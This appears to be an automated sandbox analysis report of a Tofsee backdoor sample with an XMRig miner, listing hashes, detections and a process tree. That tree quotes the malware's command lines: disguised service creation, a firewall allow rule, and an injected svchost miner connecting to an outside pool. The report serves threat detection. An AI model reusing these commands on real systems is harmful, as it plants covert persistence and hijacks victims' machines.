Analysis

  • max time kernel
    157s
  • max time network
    131s
  • platform
    windows7_x64
  • resource
    win7v200430
  • submitted
    09-05-2020 13:03

General

  • Target

    supvobl.exe

  • Size

    12.5MB

  • MD5

    be286c784044379ca9a6ca6e7211a29f

  • SHA1

    bf8010a0e4b7ae88095bd9ee303707f4c0da549e

  • SHA256

    d05cd710559cb6a23a84f44bfe88b91582862c7d70134cf71807ae0c49964993

  • SHA512

    862e1beffa2cd58cd606a9edf2be79a03ca4a93f2edd6528e91eed2f68ad889e2e76dd43f164cd8f7eb02567504cbcf9581f730177f841a3e5a0298b48674b13

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 6 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\supvobl.exe
    "C:\Users\Admin\AppData\Local\Temp\supvobl.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:484
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\qmvmddcl\
      2⤵
        PID:1080
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\snrjzkmk.exe" C:\Windows\SysWOW64\qmvmddcl\
        2⤵
          PID:1476
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create qmvmddcl binPath= "C:\Windows\SysWOW64\qmvmddcl\snrjzkmk.exe /d\"C:\Users\Admin\AppData\Local\Temp\supvobl.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1232
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description qmvmddcl "wifi internet conection"
            2⤵
              PID:1820
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start qmvmddcl
              2⤵
                PID:1880
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                • Modifies service
                PID:1780
            • C:\Windows\SysWOW64\qmvmddcl\snrjzkmk.exe
              C:\Windows\SysWOW64\qmvmddcl\snrjzkmk.exe /d"C:\Users\Admin\AppData\Local\Temp\supvobl.exe"
              1⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:524
              • C:\Windows\SysWOW64\svchost.exe
                svchost.exe
                2⤵
                • Deletes itself
                • Drops file in System32 directory
                • Modifies service
                • Suspicious use of SetThreadContext
                • Modifies data under HKEY_USERS
                • Suspicious use of WriteProcessMemory
                PID:1580
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe --algo=cn-heavy/tube -o tube.pool.gntl.co.uk:8080 -u bs3DRuaSUbRjZ3zryBKc1bUv4dxVdTewBfJBQcrHkbC5g4x3pc2QSnebvXwfi3DRoFNFLExjV8MDwBCgejSS6bcr2xFUqWnXA+58000 -p x -k
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1640

            Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\snrjzkmk.exe

              MD5

              408fc222d1ca9795042137be9361c3f5

              SHA1

              ab64ce46a7a0419598738c4279869a5b21e4b7d2

              SHA256

              3878141b7b9fe2f794331b3a63b2e45f446ce85fb81d66e7f4ea2360cafa3ba3

              SHA512

              14964de457285d5bdbdc936ccd96f5bc424989d33d7c564c0941819fa259cc5c6bdf8036f8674ebd6f4aff92a85591d3af458f77fba31c4e4ef3229161c87b0c

            • C:\Windows\SysWOW64\qmvmddcl\snrjzkmk.exe

              MD5

              408fc222d1ca9795042137be9361c3f5

              SHA1

              ab64ce46a7a0419598738c4279869a5b21e4b7d2

              SHA256

              3878141b7b9fe2f794331b3a63b2e45f446ce85fb81d66e7f4ea2360cafa3ba3

              SHA512

              14964de457285d5bdbdc936ccd96f5bc424989d33d7c564c0941819fa259cc5c6bdf8036f8674ebd6f4aff92a85591d3af458f77fba31c4e4ef3229161c87b0c

            • memory/484-0-0x0000000002F7A000-0x0000000002F7B000-memory.dmp

              Filesize

              4KB

            • memory/484-1-0x0000000003060000-0x0000000003071000-memory.dmp

              Filesize

              68KB

            • memory/524-7-0x000000000026A000-0x000000000026B000-memory.dmp

              Filesize

              4KB

            • memory/524-8-0x0000000002F20000-0x0000000002F31000-memory.dmp

              Filesize

              68KB

            • memory/1580-11-0x0000000001D90000-0x0000000001F9F000-memory.dmp

              Filesize

              2.1MB

            • memory/1580-10-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/1580-9-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/1580-12-0x00000000000B0000-0x00000000000B6000-memory.dmp

              Filesize

              24KB

            • memory/1580-13-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/1580-14-0x0000000000210000-0x0000000000215000-memory.dmp

              Filesize

              20KB

            • memory/1580-15-0x00000000057C0000-0x0000000005BCB000-memory.dmp

              Filesize

              4.0MB

            • memory/1580-16-0x00000000003F0000-0x00000000003F7000-memory.dmp

              Filesize

              28KB

            • memory/1640-17-0x0000000000150000-0x0000000000241000-memory.dmp

              Filesize

              964KB

            • memory/1640-18-0x0000000000150000-0x0000000000241000-memory.dmp

              Filesize

              964KB